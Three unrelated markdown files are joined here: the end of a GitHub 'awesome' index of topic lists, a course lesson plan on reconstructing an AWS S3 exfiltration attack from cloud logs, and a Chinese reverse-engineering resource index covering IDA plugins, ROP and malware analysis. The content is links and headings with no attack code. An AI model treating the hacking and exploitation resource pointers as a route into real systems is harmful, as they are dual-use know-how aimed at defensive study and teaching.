- [Cheat Sheet](https://github.com/tiimgreen/github-cheat-sheet#readme)
- [Pinned Gists](https://github.com/matchai/awesome-pinned-gists#readme) - Dynamic pinned gists for your GitHub profile.
- [Git Cheat Sheet & Git Flow](https://github.com/arslanbilal/git-cheat-sheet#readme)
- [Git Tips](https://github.com/git-tips/tips#readme)
- [Git Add-ons](https://github.com/stevemao/awesome-git-addons#readme) - Enhance the `git` CLI.
- [Git Hooks](https://github.com/compscilauren/awesome-git-hooks#readme) - Scripts for automating tasks during `git` workflows.
- [SSH](https://github.com/moul/awesome-ssh#readme)
- [FOSS for Developers](https://github.com/tvvocold/FOSS-for-Dev#readme)
- [Hyper](https://github.com/bnb/awesome-hyper#readme) - Cross-platform terminal app built on web technologies.
- [PowerShell](https://github.com/janikvonrotz/awesome-powershell#readme) - Cross-platform object-oriented shell.
- [Alfred Workflows](https://github.com/derimagia/awesome-alfred-workflows#readme) - Productivity app for macOS.
- [Terminals Are Sexy](https://github.com/k4m4/terminals-are-sexy#readme)
- [GitHub Actions](https://github.com/sdras/awesome-actions#readme) - Create tasks to automate your workflow and share them with others on GitHub.
## Entertainment
- [Science Fiction](https://github.com/sindresorhus/awesome-scifi#readme) - Scifi.
- [Fantasy](https://github.com/RichardLitt/awesome-fantasy#readme)
- [Podcasts](https://github.com/ayr-ton/awesome-geek-podcasts#readme)
- [Email Newsletters](https://github.com/zudochkin/awesome-newsletters#readme)
- [IT Quotes](https://github.com/victorlaerte/awesome-it-quotes#readme)
## Databases
- [Database](https://github.com/numetriclabz/awesome-db#readme)
- [MySQL](https://github.com/shlomi-noach/awesome-mysql#readme)
- [SQLAlchemy](https://github.com/dahlia/awesome-sqlalchemy#readme)
- [InfluxDB](https://github.com/mark-rushakoff/awesome-influxdb#readme)
- [Neo4j](https://github.com/neueda/awesome-neo4j#readme)
- [MongoDB](https://github.com/ramnes/awesome-mongodb#readme) - NoSQL database.
- [RethinkDB](https://github.com/d3viant0ne/awesome-rethinkdb#readme)
- [TinkerPop](https://github.com/mohataher/awesome-tinkerpop#readme) - Graph computing framework.
- [PostgreSQL](https://github.com/dhamaniasad/awesome-postgres#readme) - Object-relational database.
- [CouchDB](https://github.com/quangv/awesome-couchdb#readme) - Document-oriented NoSQL database.
- [HBase](https://github.com/rayokota/awesome-hbase#readme) - Distributed, scalable, big data store.
- [NoSQL Guides](https://github.com/erictleung/awesome-nosql-guides#readme) - Help on using non-relational, distributed, open-source, and horizontally scalable databases.
- [Contexture](https://github.com/ltchris/awesome-contexture#readme) - Abstracts queries/filters and results/aggregations from different backing data stores like ElasticSearch and MongoDB.
## Media
- [Creative Commons Media](https://github.com/shime/creative-commons-media#readme)
- [Fonts](https://github.com/brabadu/awesome-fonts#readme)
- [Codeface](https://github.com/chrissimpkins/codeface#readme) - Text editor fonts.
- [Stock Resources](https://github.com/neutraltone/awesome-stock-resources#readme)
- [GIF](https://github.com/davisonio/awesome-gif#readme) - Image format known for animated images.
- [Music](https://github.com/ciconia/awesome-music#readme)
- [Open Source Documents](https://github.com/hubtee/awesome-opensource-documents#readme)
- [Audio Visualization](https://github.com/willianjusten/awesome-audio-visualization#readme)
- [Broadcasting](https://github.com/ebu/awesome-broadcasting#readme)
- [Pixel Art](https://github.com/Siilwyn/awesome-pixel-art#readme) - Pixel-level digital art.
- [FFmpeg](https://github.com/transitive-bullshit/awesome-ffmpeg#readme) - Cross-platform solution to record, convert and stream audio and video.
- [Icons](https://github.com/notlmn/awesome-icons#readme) - Downloadable SVG/PNG/font icon projects.
## Learn
- [CLI Workshoppers](https://github.com/therebelrobot/awesome-workshopper#readme) - Interactive tutorials.
- [Learn to Program](https://github.com/karlhorky/learn-to-program#readme)
- [Speaking](https://github.com/matteofigus/awesome-speaking#readme)
- [Tech Videos](https://github.com/lucasviola/awesome-tech-videos#readme)
- [Dive into Machine Learning](https://github.com/hangtwenty/dive-into-machine-learning#readme)
- [Computer History](https://github.com/watson/awesome-computer-history#readme)
- [Programming for Kids](https://github.com/HollyAdele/awesome-programming-for-kids#readme)
- [Educational Games](https://github.com/yrgo/awesome-eg#readme) - Learn while playing.
- [JavaScript Learning](https://github.com/micromata/awesome-javascript-learning#readme)
- [CSS Learning](https://github.com/micromata/awesome-css-learning#readme) - Mainly about CSS – the language and the modules.
- [Product Management](https://github.com/dend/awesome-product-management#readme) - Learn how to be a better product manager.
- [Roadmaps](https://github.com/liuchong/awesome-roadmaps#readme) - Gives you a clear route to improve your knowledge and skills.
## Security
- [Application Security](https://github.com/paragonie/awesome-appsec#readme)
- [Security](https://github.com/sbilly/awesome-security#readme)
- [CTF](https://github.com/apsdehal/awesome-ctf#readme) - Capture The Flag.
- [Malware Analysis](https://github.com/rshipp/awesome-malware-analysis#readme)
- [Android Security](https://github.com/ashishb/android-security-awesome#readme)
- [Hacking](https://github.com/carpedm20/awesome-hacking#readme)
- [Honeypots](https://github.com/paralax/awesome-honeypots#readme) - Deception trap, designed to entice an attacker into attempting to compromise the information systems in an organization.
- [Incident Response](https://github.com/meirwah/awesome-incident-response#readme)
- [Vehicle Security and Car Hacking](https://github.com/jaredthecoder/awesome-vehicle-security#readme)
- [Web Security](https://github.com/qazbnm456/awesome-web-security#readme) - Security of web apps & services.
- [Lockpicking](https://github.com/meitar/awesome-lockpicking#readme) - The art of unlocking a lock by manipulating its components without the key.
- [Cybersecurity Blue Team](https://github.com/meitar/awesome-cybersecurity-blueteam#readme) - Groups of individuals who identify security flaws in information technology systems.
- [Fuzzing](https://github.com/cpuu/awesome-fuzzing#readme) - Automated software testing technique that involves feeding pseudo-randomly generated input data.
- [Embedded and IoT Security](https://github.com/fkie-cad/awesome-embedded-and-iot-security#readme)
- [GDPR](https://github.com/bakke92/awesome-gdpr#readme) - Regulation on data protection and privacy for all individuals within EU.
## Content Management Systems
- [Umbraco](https://github.com/umbraco-community/awesome-umbraco#readme)
- [Refinery CMS](https://github.com/refinerycms-contrib/awesome-refinerycms#readme) - Ruby on Rails CMS.
- [Wagtail](https://github.com/springload/awesome-wagtail#readme) - Django CMS focused on flexibility and user experience.
- [Textpattern](https://github.com/drmonkeyninja/awesome-textpattern#readme) - Lightweight PHP-based CMS.
- [Drupal](https://github.com/nirgn975/awesome-drupal#readme) - Extensible PHP-based CMS.
- [Craft CMS](https://github.com/craftcms/awesome#readme) - Content-first CMS.
## Hardware
- [Robotics](https://github.com/Kiloreux/awesome-robotics#readme)
- [Internet of Things](https://github.com/HQarroum/awesome-iot#readme)
- [Electronics](https://github.com/kitspace/awesome-electronics#readme) - For electronic engineers and hobbyists.
- [Bluetooth Beacons](https://github.com/squaremetrics/awesome-beacon#readme)
- [Electric Guitar Specifications](https://github.com/gitfrage/guitarspecs#readme) - Checklist for building your own electric guitar.
## Business
- [Open Companies](https://github.com/opencompany/awesome-open-company#readme)
- [Places to Post Your Startup](https://github.com/mmccaff/PlacesToPostYourStartup#readme)
- [OKR Methodology](https://github.com/domenicosolazzo/awesome-okr#readme) - Goal setting & communication best practices.
- [Leading and Managing](https://github.com/LappleApple/awesome-leading-and-managing#readme) - Leading people and being a manager in a technology company/environment.
- [Indie](https://github.com/mezod/awesome-indie#readme) - Independent developer businesses.
- [Tools of the Trade](https://github.com/cjbarber/ToolsOfTheTrade#readme) - Tools used by companies on Hacker News.
- [Clean Tech](https://github.com/nglgzz/awesome-clean-tech#readme) - Fighting climate change with technology.
- [Wardley Maps](https://github.com/wardley-maps-community/awesome-wardley-maps#readme) - Provides high situational awareness to help improve strategic planning and decision making.
## Work
- [Slack](https://github.com/matiassingers/awesome-slack#readme) - Team collaboration.
- [Communities](https://github.com/filipelinhares/awesome-slack#readme)
- [Remote Jobs](https://github.com/lukasz-madon/awesome-remote-job#readme)
- [Productivity](https://github.com/jyguyomarch/awesome-productivity#readme)
- [Niche Job Boards](https://github.com/tramcar/awesome-job-boards#readme)
- [Programming Interviews](https://github.com/MaximAbramchuck/awesome-interview-questions#readme)
- [Code Review](https://github.com/joho/awesome-code-review#readme) - Reviewing code.
## Networking
- [Software-Defined Networking](https://github.com/sdnds-tw/awesome-sdn#readme)
- [Network Analysis](https://github.com/briatte/awesome-network-analysis#readme)
- [PCAPTools](https://github.com/caesar0301/awesome-pcaptools#readme)
## Decentralized Systems
- [Bitcoin](https://github.com/igorbarinov/awesome-bitcoin#readme) - Bitcoin services and tools for software developers.
- [Ripple](https://github.com/vhpoet/awesome-ripple#readme) - Open source distributed settlement network.
- [Non-Financial Blockchain](https://github.com/machinomy/awesome-non-financial-blockchain#readme) - Non-financial blockchain applications.
- [Mastodon](https://github.com/tleb/awesome-mastodon#readme) - Open source decentralized microblogging network.
- [Ethereum](https://github.com/Tom2718/Awesome-Ethereum#readme) - Distributed computing platform for smart contract development.
- [Blockchain AI](https://github.com/steven2358/awesome-blockchain-ai#readme) - Blockchain projects for artificial intelligence and machine learning.
- [EOSIO](https://github.com/DanailMinchev/awesome-eosio#readme) - A decentralized operating system supporting industrial-scale apps.
- [Corda](https://github.com/chainstack/awesome-corda#readme) - Open source blockchain platform designed for business.
## Higher Education
- [Computational Neuroscience](https://github.com/eselkin/awesome-computational-neuroscience#readme) - A multidisciplinary science which uses computational approaches to study the nervous system.
- [Digital History](https://github.com/maehr/awesome-digital-history#readme) - Computer-aided scientific investigation of history.
## Events
- [Creative Tech Events](https://github.com/danvoyce/awesome-creative-tech-events#readme) - Events around the globe for creative coding, tech, design, music, arts and cool stuff.
- [Events in Italy](https://github.com/ildoc/awesome-italy-events#readme) - Tech-related events in Italy.
- [Events in the Netherlands](https://github.com/awkward/awesome-netherlands-events#readme) - Tech-related events in the Netherlands.
## Testing
- [Testing](https://github.com/TheJambo/awesome-testing#readme) - Software testing.
- [Visual Regression Testing](https://github.com/mojoaxel/awesome-regression-testing#readme) - Ensures changes did not break the functionality or style.
- [Selenium](https://github.com/christian-bromann/awesome-selenium#readme) - Open-source browser automation framework and ecosystem.
- [Appium](https://github.com/SrinivasanTarget/awesome-appium#readme) - Test automation tool for apps.
- [TAP](https://github.com/sindresorhus/awesome-tap#readme) - Test Anything Protocol.
- [JMeter](https://github.com/aliesbelik/awesome-jmeter#readme) - Load testing and performance measurement tool.
- [k6](https://github.com/k6io/awesome-k6#readme) - Open-source, developer-centric performance monitoring and load testing solution.
## Miscellaneous
- [JSON](https://github.com/burningtree/awesome-json#readme) - Text based data interchange format.
- [GeoJSON](https://github.com/tmcw/awesome-geojson#readme)
- [Datasets](https://github.com/jdorfman/awesome-json-datasets#readme)
- [CSV](https://github.com/secretGeek/awesomeCSV#readme) - A text file format that stores tabular data and uses a comma to separate values.
- [Discounts for Student Developers](https://github.com/AchoArnold/discount-for-student-dev#readme)
- [Sysadmin](https://github.com/n1trux/awesome-sysadmin#readme)
- [Radio](https://github.com/kyleterry/awesome-radio#readme)
- [Awesome](https://github.com/sindresorhus/awesome#readme) - Recursion illustrated.
- [Analytics](https://github.com/onurakpolat/awesome-analytics#readme)
- [REST](https://github.com/marmelab/awesome-rest#readme)
- [Continuous Integration and Continuous Delivery](https://github.com/ciandcd/awesome-ciandcd#readme)
- [Services Engineering](https://github.com/mmcgrana/services-engineering#readme)
- [Free for Developers](https://github.com/ripienaar/free-for-dev#readme)
- [Answers](https://github.com/cyberglot/awesome-answers#readme) - Stack Overflow, Quora, etc.
- [Sketch](https://github.com/diessica/awesome-sketch#readme) - Design app for macOS.
- [Boilerplate Projects](https://github.com/melvin0008/awesome-projects-boilerplates#readme)
- [Readme](https://github.com/matiassingers/awesome-readme#readme)
- [Design and Development Guides](https://github.com/NARKOZ/guides#readme)
- [Software Engineering Blogs](https://github.com/kilimchoi/engineering-blogs#readme)
- [Self Hosted](https://github.com/Kickball/awesome-selfhosted#readme)
- [FOSS Production Apps](https://github.com/DataDaoDe/awesome-foss-apps#readme)
- [Gulp](https://github.com/alferov/awesome-gulp#readme) - Task runner.
- [AMA](https://github.com/sindresorhus/amas#readme) - Ask Me Anything.
- [Answers](https://github.com/stoeffel/awesome-ama-answers#readme)
- [Open Source Photography](https://github.com/ibaaj/awesome-OpenSourcePhotography#readme)
- [OpenGL](https://github.com/eug/awesome-opengl#readme) - Cross-platform API for rendering 2D and 3D graphics.
- [GraphQL](https://github.com/chentsulin/awesome-graphql#readme)
- [Transit](https://github.com/CUTR-at-USF/awesome-transit#readme)
- [Research Tools](https://github.com/emptymalei/awesome-research#readme)
- [Data Visualization](https://github.com/fasouto/awesome-dataviz#readme)
- [Social Media Share Links](https://github.com/vinkla/shareable-links#readme)
- [Microservices](https://github.com/mfornos/awesome-microservices#readme)
- [Unicode](https://github.com/Wisdom/Awesome-Unicode#readme) - Unicode standards, quirks, packages and resources.
- [Code Points](https://github.com/Codepoints/awesome-codepoints#readme)
- [Beginner-Friendly Projects](https://github.com/MunGell/awesome-for-beginners#readme)
- [Katas](https://github.com/gamontal/awesome-katas#readme)
- [Tools for Activism](https://github.com/drewrwilson/toolsforactivism#readme)
- [Citizen Science](https://github.com/dylanrees/citizen-science#readme) - For community-based and non-institutional scientists.
- [MQTT](https://github.com/hobbyquaker/awesome-mqtt#readme) - "Internet of Things" connectivity protocol.
- [Hacking Spots](https://github.com/daviddias/awesome-hacking-locations#readme)
- [For Girls](https://github.com/cristianoliveira/awesome4girls#readme)
- [Vorpal](https://github.com/vorpaljs/awesome-vorpal#readme) - Node.js CLI framework.
- [Vulkan](https://github.com/vinjn/awesome-vulkan#readme) - Low-overhead, cross-platform 3D graphics and compute API.
- [LaTeX](https://github.com/egeerardyn/awesome-LaTeX#readme) - Typesetting language.
- [Economics](https://github.com/antontarasenko/awesome-economics#readme) - An economist's starter kit.
- [Funny Markov Chains](https://github.com/sublimino/awesome-funny-markov#readme)
- [Bioinformatics](https://github.com/danielecook/Awesome-Bioinformatics#readme)
- [Cheminformatics](https://github.com/hsiaoyi0504/awesome-cheminformatics#readme) - Informatics techniques applied to problems in chemistry.
- [Colorful](https://github.com/Siddharth11/Colorful#readme) - Choose your next color scheme.
- [Steam](https://github.com/scholtzm/awesome-steam#readme) - Digital distribution platform.
- [Bots](https://github.com/hackerkid/bots#readme) - Building bots.
- [Site Reliability Engineering](https://github.com/dastergon/awesome-sre#readme)
- [Empathy in Engineering](https://github.com/KimberlyMunoz/empathy-in-engineering#readme) - Building and promoting more compassionate engineering cultures.
- [DTrace](https://github.com/xen0l/awesome-dtrace#readme) - Dynamic tracing framework.
- [Userscripts](https://github.com/brunocvcunha/awesome-userscripts#readme) - Enhance your browsing experience.
- [Pokémon](https://github.com/tobiasbueschel/awesome-pokemon#readme) - Pokémon and Pokémon GO.
- [ChatOps](https://github.com/exAspArk/awesome-chatops#readme) - Managing technical and business operations through a chat.
- [Falsehood](https://github.com/kdeldycke/awesome-falsehood#readme) - Falsehoods programmers believe in.
- [Domain-Driven Design](https://github.com/heynickc/awesome-ddd#readme) - Software development approach for complex needs by connecting the implementation to an evolving model.
- [Quantified Self](https://github.com/woop/awesome-quantified-self#readme) - Self-tracking through technology.
- [SaltStack](https://github.com/hbokh/awesome-saltstack#readme) - Python-based config management system.
- [Web Design](https://github.com/nicolesaidy/awesome-web-design#readme) - For digital designers.
- [Creative Coding](https://github.com/terkelg/awesome-creative-coding#readme) - Programming something expressive instead of something functional.
- [No-Login Web Apps](https://github.com/aviaryan/awesome-no-login-web-apps#readme) - Web apps that work without login.
- [Free Software](https://github.com/johnjago/awesome-free-software#readme) - Free as in freedom.
- [Framer](https://github.com/podo/awesome-framer#readme) - Prototyping interactive UI designs.
- [Markdown](https://github.com/BubuAnabelas/awesome-markdown#readme) - Markup language.
- [Dev Fun](https://github.com/mislavcimpersak/awesome-dev-fun#readme) - Funny developer projects.
- [Healthcare](https://github.com/kakoni/awesome-healthcare#readme) - Open source healthcare software for facilities, providers, developers, policy experts, and researchers.
- [Magento 2](https://github.com/DavidLambauer/awesome-magento2#readme) - Open Source eCommerce built with PHP.
- [TikZ](https://github.com/xiaohanyu/awesome-tikz#readme) - Graph drawing packages for TeX/LaTeX/ConTeXt.
- [Neuroscience](https://github.com/analyticalmonk/awesome-neuroscience#readme) - Study of the nervous system and brain.
- [Ad-Free](https://github.com/johnjago/awesome-ad-free#readme) - Ad-free alternatives.
- [Esolangs](https://github.com/angrykoala/awesome-esolangs#readme) - Programming languages designed for experimentation or as jokes rather than actual use.
- [Prometheus](https://github.com/roaldnefs/awesome-prometheus#readme) - Open-source monitoring system.
- [Homematic](https://github.com/hobbyquaker/awesome-homematic#readme) - Smart home devices.
- [Ledger](https://github.com/sfischer13/awesome-ledger#readme) - Double-entry accounting on the command-line.
- [Uncopyright](https://github.com/johnjago/awesome-uncopyright#readme) - Public domain works.
- [Crypto Currency Tools & Algorithms](https://github.com/Zheaoli/awesome-coins#readme) - Digital currency where encryption is used to regulate the generation of units and verify transfers.
- [Diversity](https://github.com/folkswhocode/awesome-diversity#readme) - Creating a more inclusive and diverse tech community.
- [Open Source Supporters](https://github.com/zachflower/awesome-open-source-supporters#readme) - Companies that offer their tools and services for free to open source projects.
- [Design Principles](https://github.com/robinstickel/awesome-design-principles#readme) - Create better and more consistent designs and experiences.
- [Theravada](https://github.com/johnjago/awesome-theravada#readme) - Teachings from the Theravada Buddhist tradition.
- [inspectIT](https://github.com/inspectit-labs/awesome-inspectit#readme) - Open source Java app performance management tool.
- [Open Source Maintainers](https://github.com/nayafia/awesome-maintainers#readme) - The experience of being an open source maintainer.
- [Calculators](https://github.com/xxczaki/awesome-calculators#readme) - Calculators for every platform.
- [Captcha](https://github.com/ZYSzys/awesome-captcha#readme) - A type of challenge–response test used in computing to determine whether or not the user is human.
- [Jupyter](https://github.com/markusschanta/awesome-jupyter#readme) - Create and share documents that contain code, equations, visualizations and narrative text.
- [FIRST Robotics Competition](https://github.com/andrewda/awesome-frc#readme) - International high school robotics championship.
- [Humane Technology](https://github.com/humanetech-community/awesome-humane-tech#readme) - Open source projects that help improve society.
- [Speakers](https://github.com/karlhorky/awesome-speakers#readme) - Conference and meetup speakers in the programming and design community.
- [Board Games](https://github.com/edm00se/awesome-board-games#readme) - Table-top gaming fun for all.
- [Software Patreons](https://github.com/uraimo/awesome-software-patreons#readme) - Fund individual programmers or the development of open source projects.
- [Parasite](https://github.com/ecohealthalliance/awesome-parasite#readme) - Parasites and host-pathogen interactions.
- [Food](https://github.com/jzarca01/awesome-food#readme) - Food-related projects on GitHub.
- [Mental Health](https://github.com/dreamingechoes/awesome-mental-health#readme) - Mental health awareness and self-care in the software industry.
- [Bitcoin Payment Processors](https://github.com/alexk111/awesome-bitcoin-payment-processors#readme) - Start accepting Bitcoin.
- [Scientific Computing](https://github.com/nschloe/awesome-scientific-computing#readme) - Solving complex scientific problems using computers.
- [Amazon Sellers](https://github.com/ScaleLeap/awesome-amazon-seller#readme)
- [Agriculture](https://github.com/beaorn/awesome-agriculture#readme) - Open source technology for farming and gardening.
- [Plotters](https://github.com/beardicus/awesome-plotters#readme) - Computer-controlled drawing machines and other visual art robots.
- [Product Design](https://github.com/teoga/awesome-product-design#readme) - Design a product from the initial concept to production.
- [Prisma](https://github.com/catalinmiron/awesome-prisma#readme) - Turn your database into a GraphQL API.
- [Software Architecture](https://github.com/simskij/awesome-software-architecture#readme) - The discipline of designing and building software.
- [Connectivity Data and Reports](https://github.com/stevesong/awesome-connectivity-info#readme) - Better understand who has access to telecommunication and internet infrastructure and on what terms.
- [Stacks](https://github.com/stackshareio/awesome-stacks#readme) - Tech stacks for building different apps and features.
- [Cytodata](https://github.com/cytodata/awesome-cytodata#readme) - Image-based profiling of biological phenotypes for computational biologists.
- [IRC](https://github.com/davisonio/awesome-irc#readme) - Open source messaging protocol.
- [Advertising](https://github.com/cenoura/awesome-ads#readme) - Advertising and programmatic media for websites.
- [Earth](https://github.com/philsturgeon/awesome-earth#readme) - Find ways to resolve the climate crisis.
- [Naming](https://github.com/gruhn/awesome-naming#readme) - Naming things in computer science done right.
- [Biomedical Information Extraction](https://github.com/caufieldjh/awesome-bioie#readme) - How to extract information from unstructured biomedical data and text.
- [Web Archiving](https://github.com/iipc/awesome-web-archiving#readme) - An effort to preserve the Web for future generations.
## Related
- [Awesome Indexed](https://awesome-indexed.mathew-davies.co.uk) - Search the Awesome dataset.
- [Awesome Search](https://awesomelists.top) - Quick search for Awesome lists.
- [StumbleUponAwesome](https://github.com/basharovV/StumbleUponAwesome) - Discover random pages from the Awesome dataset using a browser extension.
- [Awesome CLI](https://github.com/umutphp/awesome-cli) - A simple command-line tool to dive into Awesome lists.
|
# Reconstructing a Cloud Attack Using Log Data
With the rapid adoption of cloud storage technologies, an aspiring security practitioner should be well-versed in how to analyze cloud system logs in additional to traditional systems such as servers and endpoints. Many such cloud systems utilize application programming interfaces (API) to facilitate modern levels of automation, which are often susceptible to attack.
## Learning Objectives
### Students will be able to
#### Describe and Define
- TTPs
- MITRE ATT&CK
- JSON
- API
- AWS S3 Bucket
- Amazon S3 REST API
- AWS CLI
- Reverse Proxy
#### Execute
- Utilize cloud logs imported into a SIEM to reconstruct the details of a cyber attack in a cloud environment
- Interpret API calls using official documentation
## Today's Outline
- Course Overview
- Review Previous Lab
- Review Previous Ops Challenge
- Demo Today's Ops Challenge
- Lecture Today's Lab Topic
- Demo Today's Lab Topic
- Lab
## Resources
- [Attack Data Set in JSON Format](https://raw.githubusercontent.com/OTRF/mordor/master/datasets/small/aws/collection/ec2_proxy_s3_exfiltration.zip)
- [Amazon S3 API Reference](https://docs.aws.amazon.com/AmazonS3/latest/API/API_Operations.html)
- [CloudTrail Log Event Reference](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-event-reference-record-contents.html)
- [Splunk Cheat Sheet](https://wiki.splunk.com/images/2/2b/Cheatsheet.pdf)
|
# 逆向
- 跟逆向有关的资源收集。当前包括的工具个数3000+，并根据功能进行了粗糙的分类。部分工具添加了中文描述。当前包括文章数600左右。
- 此页只包含部分内容. [查看完整版](https://github.com/alphaSeclab/awesome-reverse-engineering/blob/master/Readme_full.md)
# 说明
[EnglishVersion](https://github.com/alphaSeclab/awesome-reverse-engineering/blob/master/Readme_en.md)
# 目录
- [IDA](#08e59e476824a221f6e4a69c0bba7d63)
- [插件&&脚本](#f11ab1ff46aa300cc3e86528b8a98ad7)
- [(97) 未分类](#c39a6d8598dde6abfeef43faf931beb5)
- [结构体&&类的检测&&创建&&恢复](#fb4f0c061a72fc38656691746e7c45ce)
- [(6) 未分类](#fa5ede9a4f58d4efd98585d3158be4fb)
- [(8) C++类&&虚表](#4900b1626f10791748b20630af6d6123)
- [(3) 收集](#a7dac37cd93b8bb42c7d6aedccb751b3)
- [(9) 外观&&主题](#fabf03b862a776bbd8bcc4574943a65a)
- [(4) 固件&&嵌入式设备](#a8f5db3ab4bc7bc3d6ca772b3b9b0b1e)
- [签名(FLIRT等)&&比较(Diff)&&匹配](#02088f4884be6c9effb0f1e9a3795e58)
- [(17) 未分类](#cf04b98ea9da0056c055e2050da980c1)
- [FLIRT签名](#19360afa4287236abe47166154bc1ece)
- [(3) FLIRT签名收集](#1c9d8dfef3c651480661f98418c49197)
- [(2) FLIRT签名生成](#a9a63d23d32c6c789ca4d2e146c9b6d0)
- [(11) Diff&&Match工具](#161e5a3437461dc8959cc923e6a18ef7)
- [(7) Yara](#46c9dfc585ae59fe5e6f7ddf542fb31a)
- [(6) IDB操作](#5e91b280aab7f242cbc37d64ddbff82f)
- [(5) 协作逆向&&多人操作相同IDB文件](#206ca17fc949b8e0ae62731d9bb244cb)
- [(9) 与调试器同步&&通信&&交互](#f7d311685152ac005cfce5753c006e4b)
- [导入导出&与其他工具交互](#6fb7e41786c49cc3811305c520dfe9a1)
- [(13) 未分类](#8ad723b704b044e664970b11ce103c09)
- [(5) Ghidra](#c7066b0c388cd447e980bf0eb38f39ab)
- [(3) BinNavi](#11139e7d6db4c1cef22718868f29fe12)
- [(3) BinaryNinja](#d1ff64bee76f6749aef6100d72bfbe3a)
- [(2) Radare2](#21ed198ae5a974877d7a635a4b039ae3)
- [(4) Frida](#a1cf7f7f849b4ca2101bd31449c2a0fd)
- [(2) IntelPin](#dd0332da5a1482df414658250e6357f8)
- [针对特定分析目标](#004c199e1dbf71769fbafcd8e58d1ead)
- [(26) 未分类](#5578c56ca09a5804433524047840980e)
- [(2) GoLang](#1b17ac638aaa09852966306760fda46b)
- [(4) Windows驱动](#4c158ccc5aee04383755851844fdd137)
- [(4) PS3&&PS4](#315b1b8b41c67ae91b841fce1d4190b5)
- [(33) Loader&Processor](#cb59d84840e41330a7b5e275c0b81725)
- [(4) PDB](#f5e51763bb09d8fd47ee575a98bedca1)
- [(2) Flash&&SWF](#7d0681efba2cf3adaba2780330cd923a)
- [(4) 特定样本家族](#841d605300beba45c3be131988514a03)
- [(1) CTF](#ad44205b2d943cfa2fa805b2643f4595)
- [IDAPython本身](#ad68872e14f70db53e8d9519213ec039)
- [(8) 未分类](#2299bc16945c25652e5ad4d48eae8eca)
- [(1) cheatsheets](#c42137cf98d6042372b1fd43c3635135)
- [(6) 指令参考&文档](#846eebe73bef533041d74fc711cafb43)
- [辅助脚本编写](#c08ebe5b7eec9fc96f8eff36d1d5cc7d)
- [(9) 未分类](#45fd7cfce682c7c25b4f3fbc4c461ba2)
- [(3) Qt](#1a56a5b726aaa55ec5b7a5087d6c8968)
- [(3) 控制台&&窗口界面](#1721c09501e4defed9eaa78b8d708361)
- [(2) 插件模板](#227fbff77e3a13569ef7b007344d5d2e)
- [(2) 其他语言](#8b19bb8cf9a5bc9e6ab045f3b4fabf6a)
- [(16) 古老的](#dc35a2b02780cdaa8effcae2b6ce623e)
- [调试&&动态运行&动态数据](#e3e7030efc3b4de3b5b8750b7d93e6dd)
- [(10) 未分类](#2944dda5289f494e5e636089db0d6a6a)
- [(10) DBI数据](#0fbd352f703b507853c610a664f024d1)
- [(4) 调试数据](#b31acf6c84a9506066d497af4e702bf5)
- [(14) 反编译器&&AST](#d2166f4dac4eab7fadfe0fd06467fbc9)
- [(7) 反混淆](#7199e8787c0de5b428f50263f965fda7)
- [效率&&导航&&快速访问&&图形&&图像&&可视化 ](#fcf75a0881617d1f684bc8b359c684d7)
- [(15) 其他](#c5b120e1779b928d860ad64ff8d23264)
- [(9) 显示增强](#03fac5b3abdbd56974894a261ce4e25f)
- [(3) 图形&&图像](#3b1dba00630ce81cba525eea8fcdae08)
- [(3) 搜索](#8f9468e9ab26128567f4be87ead108d7)
- [(7) Android](#66052f824f5054aa0f70785a2389a478)
- [Apple&&macOS&&iXxx&&Objective-C&&SWift&&Mach-O](#2adc0044b2703fb010b3bf73b1f1ea4a)
- [(5) 未分类](#8530752bacfb388f3726555dc121cb1a)
- [(3) 内核缓存](#82d0fa2d6934ce29794a651513934384)
- [(3) Mach-O](#d249a8d09a3f25d75bb7ba8b32bd9ec5)
- [(3) Swift](#1c698e298f6112a86c12881fbd8173c7)
- [(9) ELF](#e5e403123c70ddae7bd904d3a3005dbb)
- [(5) Microcode](#7a2977533ccdac70ee6e58a7853b756b)
- [(6) 模拟器集成](#b38dab81610be087bd5bc7785269b8cc)
- [新添加的](#c39dbae63d6a3302c4df8073b4d1cdc8)
- [(4) 作为辅助&&构成其他的一环](#83de90385d03ac8ef27360bfcdc1ab48)
- [漏洞](#1ded622dca60b67288a591351de16f8b)
- [(7) 未分类](#385d6777d0747e79cccab0a19fa90e7e)
- [(2) ROP](#cf2efa7e3edb24975b92d2e26ca825d2)
- [(7) 补丁&&Patch](#7d557bc3d677d206ef6c5a35ca8b3a14)
- [(3) 其他](#7dfd8abad50c14cd6bdc8d8b79b6f595)
- [函数相关](#90bf5d31a3897400ac07e15545d4be02)
- [(4) 未分类](#347a2158bdd92b00cd3d4ba9a0be00ae)
- [(6) 重命名&&前缀&&标记](#73813456eeb8212fd45e0ea347bec349)
- [(5) 导航&&查看&&查找](#e4616c414c24b58626f834e1be079ebc)
- [(2) demangle](#cadae88b91a57345d266c68383eb05c5)
- [(3) 污点分析&&符号执行](#34ac84853604a7741c61670f2a075d20)
- [(8) 字符串](#9dcc6c7dd980bec1f92d0cc9a2209a24)
- [(3) 加密解密](#06d2caabef97cf663bd29af2b1fe270c)
- [文章](#18c6a45392d6b383ea24b363d2f3e76b)
- [(15) 恶意代码分析](#0b3e1936ad7c4ccc10642e994c653159)
- [(6) 系列文章-Labeless插件介绍](#04cba8dbb72e95d9c721fe16a3b48783)
- [(24) 系列文章-使用IDA从零开始学逆向](#1a2e56040cfc42c11c5b4fa86978cc19)
- [系列文章-IDAPython-让你的生活更美好](#e838a1ecdcf3d068547dd0d7b5c446c6)
- [(6) 原文](#7163f7c92c9443e17f3f76cc16c2d796)
- [(5) 译文](#fc62c644a450f3e977af313edd5ab124)
- [(50) 工具&&插件&&脚本介绍](#3d3bc775abd7f254ff9ff90d669017c9)
- [(9) Tips&&Tricks](#a4bd25d3dc2f0be840e39674be67d66b)
- [(146) 未分类](#4187e477ebc45d1721f045da62dbf4e8)
- [(5) 翻译-TheIDAProBook](#ea11818602eb33e8b165eb18d3710965)
- [(2) 翻译-ReverseEngineeringCodeWithIDAPro](#ec5f7b9ed06500c537aa25851a3f2d3a)
- [(5) 系列文章-使用IDA逆向C代码](#8433dd5df40aaf302b179b1fda1d2863)
- [(7) 逆向实战](#d8e48eb05d72db3ac1e050d8ebc546e1)
- [(2) 新添加的](#37634a992983db427ce41b37dd9a98c2)
- [Ghidra](#319821036a3319d3ade5805f384d3165)
- [插件&&脚本](#fa45b20f6f043af1549b92f7c46c9719)
- [(16) 新添加的](#ce70b8d45be0a3d29705763564623aca)
- [特定分析目标](#69dc4207618a2977fe8cd919e7903fa5)
- [(3) 未分类](#da5d2b05da13f8e65aa26d6a1c95a8d0)
